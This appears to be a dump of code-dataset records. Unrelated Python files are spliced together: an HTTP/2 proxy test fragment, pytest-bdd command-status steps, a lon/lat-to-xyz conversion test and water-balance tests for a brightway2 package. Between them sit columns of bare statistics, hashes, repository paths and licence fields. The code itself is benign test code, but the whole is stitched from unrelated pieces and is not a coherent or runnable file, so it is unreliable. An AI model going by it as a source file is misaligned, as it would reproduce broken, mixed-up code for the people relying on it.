on_unhandled=self.ignore_event)
result_future = self.http_layer.process_and_return_context()
self.client_conn.initiate_connection()
self.server_conn.initiate_connection()
self.client_conn.send_request(
1, HttpRequest(headers=[
(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]))
yield self.read_until_new_event(self.server_conn, self.dest_events)
self.server_conn.send_response(
1, HttpResponse(headers=[(":status", "200"), ("aaa", "bbb")],
body=b"ccc"))
result = yield result_future
self.assertIsNotNone(result)
self.assertIsInstance(result, LayerContext)
self.assertEqual(len(self.dest_events), 1)
stream_id, request, _ = self.dest_events[0]
self.assertEqual(stream_id, 1)
self.assertEqual(request.method, "GET")
self.assertEqual(request.path, "/")
self.assertEqual(request.version, "HTTP/2")
self.assertEqual(
request.headers,
HttpHeaders([(":method", "GET"),
(":path", "/"),
("aaa", "bbb")]))
def tearDown(self):
self.client_stream.close()
self.server_stream.close()
self.http_layer.src_stream.close()
self.http_layer.dest_stream.close()
| 36.312634
| 83
| 0.618882
| 1,938
| 16,958
| 5.124871
| 0.072755
| 0.063431
| 0.059203
| 0.042086
| 0.832863
| 0.810612
| 0.783226
| 0.767922
| 0.759062
| 0.75594
| 0
| 0.010837
| 0.270846
| 16,958
| 466
| 84
| 36.390558
| 0.792398
| 0.009317
| 0
| 0.718421
| 0
| 0
| 0.03227
| 0.00125
| 0
| 0
| 0
| 0
| 0.157895
| 0
| null | null | 0.002632
| 0.021053
| null | null | 0.002632
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
94bd01fd36f122218b5cefaa67d729a9b9e33ba3
| 13
|
py
|
Python
|
models/main/_core/_utils.py
|
ZAurele/alpha-py
|
b6330f1e714d07a2010ebe500d5ccdf4cc637998
|
[
"MIT"
] | null | null | null |
models/main/_core/_utils.py
|
ZAurele/alpha-py
|
b6330f1e714d07a2010ebe500d5ccdf4cc637998
|
[
"MIT"
] | null | null | null |
models/main/_core/_utils.py
|
ZAurele/alpha-py
|
b6330f1e714d07a2010ebe500d5ccdf4cc637998
|
[
"MIT"
] | null | null | null |
import os
| 2.6
| 9
| 0.615385
| 2
| 13
| 4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.384615
| 13
| 4
| 10
| 3.25
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
a2212b9dfcbcb3ff2230727277d00b9a49a8e6cb
| 1,697
|
py
|
Python
|
tests/functional/then/command_status.py
|
JrGoodle/clowder
|
864afacfc7122e937f7087e233c61d05fd007af2
|
[
"MIT"
] | 12
|
2016-02-12T02:37:24.000Z
|
2021-01-04T05:14:12.000Z
|
tests/functional/then/command_status.py
|
JrGoodle/clowder
|
864afacfc7122e937f7087e233c61d05fd007af2
|
[
"MIT"
] | 370
|
2015-07-06T22:59:08.000Z
|
2021-10-01T14:58:17.000Z
|
tests/functional/then/command_status.py
|
JrGoodle/clowder
|
864afacfc7122e937f7087e233c61d05fd007af2
|
[
"MIT"
] | 3
|
2015-10-22T18:45:31.000Z
|
2018-10-16T15:30:30.000Z
|
"""New syntax test file"""
from pathlib import Path
from pytest_bdd import then, parsers
from tests.functional.util import CommandResults, ScenarioInfo
@then("the command succeeds")
def then_command_succeeded(command_results: CommandResults, scenario_info: ScenarioInfo, tmp_path: Path) -> None:
assert len(command_results.completed_processes) == 1
assert all([r.returncode == 0 for r in command_results.completed_processes])
@then("the commands succeed")
def then_commands_succeeded(command_results: CommandResults, scenario_info: ScenarioInfo, tmp_path: Path) -> None:
assert len(command_results.completed_processes) > 1
assert all([result.returncode == 0 for result in command_results.completed_processes])
@then("the command fails")
def then_command_failed(command_results: CommandResults, scenario_info: ScenarioInfo, tmp_path: Path) -> None:
assert len(command_results.completed_processes) == 1
assert all([result.returncode != 0 for result in command_results.completed_processes])
@then("the commands fail")
def then_commands_failed(command_results: CommandResults, scenario_info: ScenarioInfo, tmp_path: Path) -> None:
assert len(command_results.completed_processes) > 1
assert all([result.returncode != 0 for result in command_results.completed_processes])
@then(parsers.parse("the command exited with return code {code:d}"))
def then_command_exit_return_code(command_results: CommandResults, code: int, scenario_info: ScenarioInfo,
tmp_path: Path) -> None:
assert len(command_results.completed_processes) == 1
assert all([result.returncode == code for result in command_results.completed_processes])
| 43.512821
| 114
| 0.771951
| 217
| 1,697
| 5.815668
| 0.239631
| 0.166403
| 0.18225
| 0.253566
| 0.717908
| 0.717908
| 0.717908
| 0.683835
| 0.638669
| 0.638669
| 0
| 0.006139
| 0.136123
| 1,697
| 38
| 115
| 44.657895
| 0.854707
| 0.011786
| 0
| 0.291667
| 0
| 0
| 0.070616
| 0
| 0
| 0
| 0
| 0
| 0.416667
| 1
| 0.208333
| false
| 0
| 0.125
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
bf67491ff6ae53f083f32bec90a4160a59b09a1d
| 2,337
|
py
|
Python
|
nexoclom/modelcode/tests/test_xyz_from_latlon.py
|
mburger-stsci/NExoCloM
|
c0c81eeb04c5571662f3d86337d84a18f1cd0dcf
|
[
"BSD-3-Clause"
] | null | null | null |
nexoclom/modelcode/tests/test_xyz_from_latlon.py
|
mburger-stsci/NExoCloM
|
c0c81eeb04c5571662f3d86337d84a18f1cd0dcf
|
[
"BSD-3-Clause"
] | null | null | null |
nexoclom/modelcode/tests/test_xyz_from_latlon.py
|
mburger-stsci/NExoCloM
|
c0c81eeb04c5571662f3d86337d84a18f1cd0dcf
|
[
"BSD-3-Clause"
] | null | null | null |
import numpy as np
import pytest
import astropy.units as u
from nexoclom.modelcode.source_distribution import xyz_from_lonlat
@pytest.mark.modelcode
def test_xyz_from_latlon():
# Check points around the equator for planet
lon = np.arange(0, 2*np.pi, np.pi/4)*u.rad
lat = np.zeros_like(lon)
exobase = 1.
isplan = True
xyz = xyz_from_lonlat(lon, lat, isplan, exobase)
x = [0, np.sqrt(2)/2, 1., np.sqrt(2)/2, 0., -np.sqrt(2)/2, -1, -np.sqrt(2)/2]*u.rad
y = [-1, -np.sqrt(2)/2, 0, np.sqrt(2)/2, 1, np.sqrt(2)/2, 0, -np.sqrt(2)/2]*u.rad
z = np.zeros_like(x)*u.rad
expected = np.array([x, y, z])
assert xyz == pytest.approx(expected)
# Check points along latitude lines
lon = np.linspace(0, np.pi, 5)
lat = np.linspace(-np.pi/2, np.pi/2, 5)
exobase = 2.
isplan = True
xyz = xyz_from_lonlat(lon, lat, isplan, exobase)
z = np.array([-1, -np.sqrt(2)/2, 0, np.sqrt(2)/2, 1])
z_ = np.array([0, np.sqrt(2)/2, 1, np.sqrt(2)/2, 0])
x = np.array([0, np.sqrt(2)/2, 1., np.sqrt(2)/2, 0]) * z_
y = np.array([-1, -np.sqrt(2)/2, 0., np.sqrt(2)/2, 1]) * z_
expected = np.array([x, y, z]) * exobase
assert xyz == pytest.approx(expected)
# Check points around the equator for moon
lon = np.arange(0, 2*np.pi, np.pi/4)*u.rad
lat = np.zeros_like(lon)
exobase = 1.
isplan = False
xyz = xyz_from_lonlat(lon, lat, isplan, exobase)
x = [0, -np.sqrt(2)/2, -1., -np.sqrt(2)/2, 0., np.sqrt(2)/2, 1, np.sqrt(2)/2]*u.rad
y = [-1, -np.sqrt(2)/2, 0, np.sqrt(2)/2, 1, np.sqrt(2)/2, 0, -np.sqrt(2)/2]*u.rad
z = np.zeros_like(x)*u.rad
expected = np.array([x, y, z])
assert xyz == pytest.approx(expected)
# Check points along latitude lines
lon = np.linspace(0, np.pi, 5)
lat = np.linspace(-np.pi/2, np.pi/2, 5)
exobase = 2.
isplan = False
xyz = xyz_from_lonlat(lon, lat, isplan, exobase)
z = np.array([-1, -np.sqrt(2)/2, 0, np.sqrt(2)/2, 1])
z_ = np.array([0, np.sqrt(2)/2, 1, np.sqrt(2)/2, 0])
x = np.array([0, -np.sqrt(2)/2, -1., -np.sqrt(2)/2, 0]) * z_
y = np.array([-1, -np.sqrt(2)/2, 0., np.sqrt(2)/2, 1]) * z_
expected = np.array([x, y, z]) * exobase
assert xyz == pytest.approx(expected)
if __name__ == '__main__':
test_xyz_from_latlon()
| 33.385714
| 87
| 0.573813
| 443
| 2,337
| 2.948081
| 0.130926
| 0.147014
| 0.171516
| 0.196018
| 0.860643
| 0.860643
| 0.823124
| 0.814701
| 0.814701
| 0.814701
| 0
| 0.068057
| 0.220368
| 2,337
| 69
| 88
| 33.869565
| 0.648738
| 0.064613
| 0
| 0.76
| 0
| 0
| 0.003668
| 0
| 0
| 0
| 0
| 0
| 0.08
| 1
| 0.02
| false
| 0
| 0.08
| 0
| 0.1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
bf693688d06e868af035276f553593488ff16249
| 26,581
|
py
|
Python
|
tests/test_water_balancer.py
|
CIRAIG/bw2waterbalancer
|
aaeace9f71fe55cb17488d020467f471b32be3d8
|
[
"MIT"
] | 1
|
2021-01-27T22:16:56.000Z
|
2021-01-27T22:16:56.000Z
|
tests/test_water_balancer.py
|
CIRAIG/bw2waterbalancer
|
aaeace9f71fe55cb17488d020467f471b32be3d8
|
[
"MIT"
] | null | null | null |
tests/test_water_balancer.py
|
CIRAIG/bw2waterbalancer
|
aaeace9f71fe55cb17488d020467f471b32be3d8
|
[
"MIT"
] | null | null | null |
import pytest
import numpy as np
from bw2waterbalancer.database_water_balancer import DatabaseWaterBalancer
from bw2waterbalancer.activity_water_balancer import ActivityWaterBalancer
from brightway2 import get_activity
def helper_get_matrix_data_sums_for_test(ab, matrix_data):
"""Helper function to return inputs and outputs in `matrix_data`
Used in tests to check `matrix_data`
"""
samples_to_concat = []
md_indices_inputs = []
for md in matrix_data:
md_indices_inputs.extend([i[0] for i in md[1]])
samples_to_concat.append(md[0])
indices_order = [md_indices_inputs.index(exc) for exc in ab.water_exchange_input_keys]
samples = np.concatenate(samples_to_concat, axis=0)[indices_order]
conversion_factor = np.array(
[ab._get_conversion_factor_to_kg(exc) for exc in ab.water_exchanges]
)
in_exc = np.array(
['techno_transfo_input', 'techno_treat_output', 'bio_ress']
)
out_exc = np.array(
['techno_transfo_output', 'techno_treat_input', 'bio_emission']
)
out_filter = np.array(
[1 if ab.water_exchange_types[i] in out_exc else 0 for i, exc in enumerate(ab.water_exchanges)]
)
in_filter = np.array(
[1 if ab.water_exchange_types[i] in in_exc else 0 for i, exc in enumerate(ab.water_exchanges)]
)
waste_filter = np.array(
[-1 if ab.water_exchange_types[i] in ['techno_treat_output', 'techno_treat_input'] else 1
for i, exc in enumerate(ab.water_exchanges)]
)
in_totals = np.sum(
((in_filter * waste_filter * conversion_factor).reshape(-1, 1) * samples), axis=0
)
out_totals = np.sum(
((out_filter * waste_filter * conversion_factor).reshape(-1, 1) * samples), axis=0
)
return in_totals, out_totals
def test_no_such_database(data_for_testing):
"""Ensure error raised when db doesn't exist"""
with pytest.raises(ValueError, match="Database no such db not imported"):
wb = DatabaseWaterBalancer(ecoinvent_version=None, database_name="no such db")
def test_no_such_biosphere(data_for_testing):
"""Ensure error raised when biosphere db doesn't exist"""
with pytest.raises(ValueError, match="Database no such biosphere not imported"):
wb = DatabaseWaterBalancer(ecoinvent_version=None, database_name="test_db", biosphere="no such biosphere")
def test_no_such_database_version(data_for_testing):
"""Ensure warning raised when ecoinvent version doesn't exist"""
with pytest.warns(UserWarning, match="No data available for version x, using version 3.6 "
"instead, which may result in some errors"):
wb = DatabaseWaterBalancer(ecoinvent_version='x', database_name="test_db", biosphere="biosphere")
assert wb.ecoinvent_version == '3.6'
def test_identify_exchanges(data_for_testing):
"""Find and classify all water elementary flows in biosphere"""
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
expected_bio_ress_keys = [
('biosphere', 'Water 1, from nature, in kg'),
('biosphere', 'Water 2, from nature, in kg'),
('biosphere', 'Water, from nature, in m3'),
]
expected_bio_emission_keys = [
('biosphere', 'Water 1, to water, in kg'),
('biosphere', 'Water 2, to water, in kg'),
('biosphere', 'Water, to water, in m3'),
('biosphere', 'Water, to air, in kg'),
('biosphere', 'Water, to air, in m3'),
]
expected_techno_transfo_keys = [('test_db', code) for code in "STUV"]
expected_techno_treat_keys = [('test_db', code) for code in "LMNOPQR"]
expected_all_keys = expected_bio_emission_keys \
+ expected_bio_ress_keys \
+ expected_techno_transfo_keys \
+ expected_techno_treat_keys
assert set(wb.bio_ress_keys) == set(expected_bio_ress_keys)
assert len(wb.bio_ress_keys) == len(expected_bio_ress_keys)
assert set(wb.bio_emission_keys) == set(expected_bio_emission_keys)
assert len(wb.bio_emission_keys) == len(expected_bio_emission_keys)
assert set(wb.techno_transfo_keys) == set(expected_techno_transfo_keys)
assert len(wb.techno_transfo_keys) == len(expected_techno_transfo_keys)
assert set(wb.techno_treat_keys) == set(expected_techno_treat_keys)
assert len(wb.techno_treat_keys) == len(expected_techno_treat_keys)
assert set(wb.all_water_keys) == set(expected_all_keys)
assert len(wb.all_water_keys) == len(expected_all_keys)
def test_water_exchange_formulas_removed(data_for_testing):
""" Make sure formulas are properly removed from exchanges"""
act = get_activity(("test_db", "A"))
exc = [exc for exc in act.exchanges() if exc.input.key==('biosphere', 'Water 1, from nature, in kg')][0]
assert exc['formula'] == 'some_good_formula'
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'A'), wb)
exc_1 = [exc for exc in ab.act.exchanges() if exc.input.key == ('biosphere', 'Water 1, from nature, in kg')][0]
exc_in_list_1 = [exc for exc in ab.water_exchanges if exc.input.key == ('biosphere', 'Water 1, from nature, in kg')][
0]
exc_2 = [exc for exc in ab.act.exchanges() if exc.input.key == ('biosphere', 'Water 2, from nature, in kg')][0]
exc_in_list_2 = [exc for exc in ab.water_exchanges if exc.input.key == ('biosphere', 'Water 2, from nature, in kg')][
0]
assert exc_1.get('formula') is None
assert exc_in_list_1.get('formula') is None
assert exc_1.get('temp_formula') == 'some_good_formula'
assert exc_in_list_1.get('temp_formula') == 'some_good_formula'
assert exc_2.get('formula') is None
assert exc_in_list_2.get('formula') is None
assert exc_2.get('temp_formula') == 'some bad formula'
assert exc_in_list_2.get('temp_formula') == 'some bad formula'
ab._define_balancing_parameters()
exc_1 = [exc for exc in ab.act.exchanges() if exc.input.key == ('biosphere', 'Water 1, from nature, in kg')][0]
exc_in_list_1 = [exc for exc in ab.water_exchanges if exc.input.key == ('biosphere', 'Water 1, from nature, in kg')][
0]
exc_2 = [exc for exc in ab.act.exchanges() if exc.input.key == ('biosphere', 'Water 2, from nature, in kg')][0]
exc_in_list_2 = [exc for exc in ab.water_exchanges if exc.input.key == ('biosphere', 'Water 2, from nature, in kg')][
0]
assert exc_1.get('formula') is None
assert exc_1.get('temp_formula') == 'some_good_formula'
assert exc_1.get('water_formula') is not None
assert exc_in_list_1.get('formula') is None
assert exc_in_list_1.get('temp_formula') == 'some_good_formula'
assert exc_in_list_1.get('water_formula') is not None
assert exc_2.get('formula') is None
assert exc_2.get('temp_formula') == 'some bad formula'
assert exc_2.get('water_formula') is not None
assert exc_in_list_2.get('formula') is None
assert exc_in_list_2.get('temp_formula') == 'some bad formula'
assert exc_in_list_2.get('water_formula') is not None
ab.generate_samples(2)
exc_1 = [exc for exc in ab.act.exchanges() if exc.input.key == ('biosphere', 'Water 1, from nature, in kg')][0]
exc_2 = [exc for exc in ab.act.exchanges() if exc.input.key == ('biosphere', 'Water 2, from nature, in kg')][0]
assert exc_1.get('formula') == 'some_good_formula'
assert exc_1.get('temp_formula') is None
assert exc_2.get('formula') == 'some bad formula'
assert exc_2.get('temp_formula') is None
def test_initially_unprocessed(data_for_testing):
"""Ensure processind happens at right moment """
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'A'), wb)
assert not ab._processed()
ab._identify_strategy()
assert not ab._processed()
ab._define_balancing_parameters()
assert ab._processed()
def test_reset(data_for_testing):
"""Check _reset function"""
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'A'), wb)
ab._identify_strategy()
ab._define_balancing_parameters()
assert ab._processed()
ab._reset()
assert not ab._processed()
assert getattr(ab, "static_ratio") is None
assert getattr(ab, "static_balance") is None
assert getattr(ab, "activity_params") == []
def test_rebalance_default_ratio_1(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
assert wb.matrix_indices == []
assert wb.matrix_samples is None
ab = ActivityWaterBalancer(('test_db', 'A'), wb)
ab._identify_strategy()
assert ab.strategy == 'default'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 5
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 4
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(in_sum/out_sum, ab.static_ratio)
wb.add_samples_for_act(ab.act, 5)
assert len(wb.matrix_indices)==len(ab.water_exchanges)
assert wb.matrix_samples.shape[0] == len(ab.water_exchanges)
assert wb.matrix_samples.shape[1] == 5
def test_rebalance_inverse_ratio_1(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'B'), wb)
ab._identify_strategy()
assert ab.strategy == 'inverse'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 5
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 4
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(out_sum/in_sum, ab.static_ratio)
def test_rebalance_default_ratio_2(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'C'), wb)
ab._identify_strategy()
assert ab.strategy == 'default'
ab._define_balancing_parameters()
assert ab.static_ratio == 2
assert ab.static_balance == 20
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 5
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 4
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(in_sum/out_sum, ab.static_ratio)
def test_rebalance_inverse_ratio_2(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'D'), wb)
ab._identify_strategy()
assert ab.strategy == 'inverse'
ab._define_balancing_parameters()
assert ab.static_ratio == 0.5
assert ab.static_balance == -20
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1]==5
assert matrix_data[1][0].shape[1] == 5
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(out_sum/in_sum, ab.static_ratio)
def test_rebalance_default_ratio_1_mixed_units(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'E'), wb)
ab._identify_strategy()
assert ab.strategy == 'default'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 4
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 4
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(in_sum/out_sum, ab.static_ratio)
def test_rebalance_inverse_ratio_1_mixed_units(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'F'), wb)
ab._identify_strategy()
assert ab.strategy == 'inverse'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 4
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 4
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(out_sum/in_sum, ab.static_ratio)
def test_rebalance_set_static_one_input(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'G'), wb)
ab._identify_strategy()
assert ab.strategy == 'set_static'
exc_initial = [
exc for exc in ab.act.exchanges()
if exc.input.key == ('biosphere', 'Water 1, from nature, in kg')
][0]
assert exc_initial.get('uncertainty type', 0) == 2
assert exc_initial.get('loc', 0) == np.log(exc_initial['amount'])
ab._define_balancing_parameters()
assert getattr(ab, "static_ratio") == "Not calculated"
assert getattr(ab, "static_balance") == "Not calculated"
exc_after = [
exc for exc in ab.act.exchanges()
if exc.input.key == ('biosphere', 'Water 1, from nature, in kg')
][0]
assert exc_after.get('water_formula', 0) == 'cst'
assert ab.activity_params[0]['name'] == 'cst'
assert ab.activity_params[0]['amount'] == exc_initial['amount']
assert ab.activity_params[0]['loc'] == exc_initial['amount']
assert ab.activity_params[0]['uncertainty type'] == 0
matrix_data = ab.generate_samples(5)
assert len(matrix_data)==1
assert matrix_data[0][0].shape[1]==5
assert matrix_data[0][0].shape[0]==1
assert np.allclose(np.ones(shape=(1, 5)), matrix_data[0][0])
assert len(matrix_data[0][1]) == 1
assert matrix_data[0][1][0] == (('biosphere', 'Water 1, from nature, in kg'), ('test_db', 'G'))
def test_rebalance_set_static_one_output(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'H'), wb)
ab._identify_strategy()
assert ab.strategy == 'set_static'
exc_initial = [
exc for exc in ab.act.exchanges()
if exc.input.key == ('biosphere', 'Water 1, to water, in kg')
][0]
assert exc_initial.get('uncertainty type', 0) == 2
assert exc_initial.get('loc', 0) == np.log(exc_initial['amount'])
ab._define_balancing_parameters()
assert getattr(ab, "static_ratio", "Nope") == "Not calculated"
assert getattr(ab, "static_balance", "Nope") == "Not calculated"
exc_after = [
exc for exc in ab.act.exchanges()
if exc.input.key == ('biosphere', 'Water 1, to water, in kg')
][0]
assert exc_after.get('water_formula', 0) == 'cst'
assert ab.activity_params[0]['name'] == 'cst'
assert ab.activity_params[0]['amount'] == exc_initial['amount']
assert ab.activity_params[0]['loc'] == exc_initial['amount']
assert ab.activity_params[0]['uncertainty type'] == 0
matrix_data = ab.generate_samples(5)
assert len(matrix_data) == 1
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 1
assert np.allclose(np.ones(shape=(1, 5)), matrix_data[0][0])
assert len(matrix_data[0][1]) == 1
assert matrix_data[0][1][0] == (('biosphere', 'Water 1, to water, in kg'), ('test_db', 'H'))
def test_rebalance_skip_no_input(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'I'), wb)
ab._identify_strategy()
assert ab.strategy == 'skip'
assert ab._processed()
assert getattr(ab, "static_ratio", "Nope") is "Nope"
assert getattr(ab, "static_balance", "Nope") is "Nope"
assert ab.generate_samples() == []
def test_rebalance_skip_no_output(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'J'), wb)
ab._identify_strategy()
assert ab.strategy == 'skip'
assert getattr(ab, "static_ratio", "Nope") is "Nope"
assert getattr(ab, "static_balance", "Nope") is "Nope"
def test_rebalance_skip_no_uncertainty(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'K'), wb)
ab._identify_strategy()
assert ab.strategy == 'skip'
assert getattr(ab, "static_ratio", "Nope") is "Nope"
assert getattr(ab, "static_balance", "Nope") is "Nope"
def test_rebalance_default_ratio_1_ww(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'L'), wb)
ab._identify_strategy()
assert ab.strategy == 'default'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 2
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 2
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(in_sum/out_sum, ab.static_ratio)
def test_rebalance_default_ratio_1_ww_m3(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'M'), wb)
ab._identify_strategy()
assert ab.strategy == 'default'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 2
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 2
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(in_sum/out_sum, ab.static_ratio)
def test_rebalance_default_ratio_1_ww_inverse(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'N'), wb)
ab._identify_strategy()
assert ab.strategy == 'inverse'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 2
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 2
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(out_sum/in_sum, ab.static_ratio)
def test_rebalance_default_ratio_1_ww_inverse_m3(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'O'), wb)
ab._identify_strategy()
assert ab.strategy == 'inverse'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 2
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 2
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(out_sum/in_sum, ab.static_ratio)
def test_rebalance_default_ww_ratio_not_1(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'P'), wb)
ab._identify_strategy()
assert ab.strategy == 'default'
ab._define_balancing_parameters()
assert ab.static_ratio == 2
assert ab.static_balance == 1
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 2
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 2
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(in_sum/out_sum, ab.static_ratio)
def test_rebalance_inverse_ww_ratio_not_1(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'Q'), wb)
ab._identify_strategy()
assert ab.strategy == 'inverse'
ab._define_balancing_parameters()
assert ab.static_ratio == 0.5
assert ab.static_balance == -1
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 2
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 2
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(out_sum/in_sum, ab.static_ratio)
def test_rebalance_ww_market(data_for_testing):
